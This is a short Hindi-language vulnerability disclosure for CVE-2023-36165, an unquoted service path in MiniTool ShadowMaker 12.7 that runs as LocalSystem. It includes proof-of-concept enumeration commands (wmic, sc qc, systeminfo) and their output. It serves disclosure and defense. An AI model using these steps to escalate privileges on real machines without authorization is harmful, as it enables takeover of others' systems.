CVE-2023-36165

MiniTool Partition Wizard ShadowMaker v.12.7 में एक समस्या है जो एक हमलावर को SchedulerService.exe घटक के माध्यम से मनमाना कोड निष्पादित करने और विशेषाधिकार प्राप्त करने की अनुमति देती है।

शोषण शीर्षक: MiniTool Partition Wizard ShadowMaker v.12.7 - Unquoted Service Path

दिनांक: 05/08/2023

शोषण लेखक: Idan Malihi

विक्रेता होमपेज: https://www.minitool.com/

सॉफ्टवेयर लिंक: https://www.minitool.com/download-center/

संस्करण: 12.7

परीक्षण किया गया: Microsoft Windows 10 Pro

CVE : CVE-2023-36165

#PoC

C:\Users>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\" | findstr /i /v """ MTSchedulerService MTSchedulerService C:\Program Files (x86)\MiniTool ShadowMaker\SchedulerService.exe Auto

C:\Users>sc qc MTSchedulerService [SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MTSchedulerService TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\MiniTool ShadowMaker\SchedulerService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : MTSchedulerService DEPENDENCIES : SERVICE_START_NAME : LocalSystem

C:\Users>systeminfo

Host Name: DESKTOP-LA7J17P OS Name: Microsoft Windows 10 Pro OS Version: 10.0.19042 N/A Build 19042 OS Manufacturer: Microsoft Corporation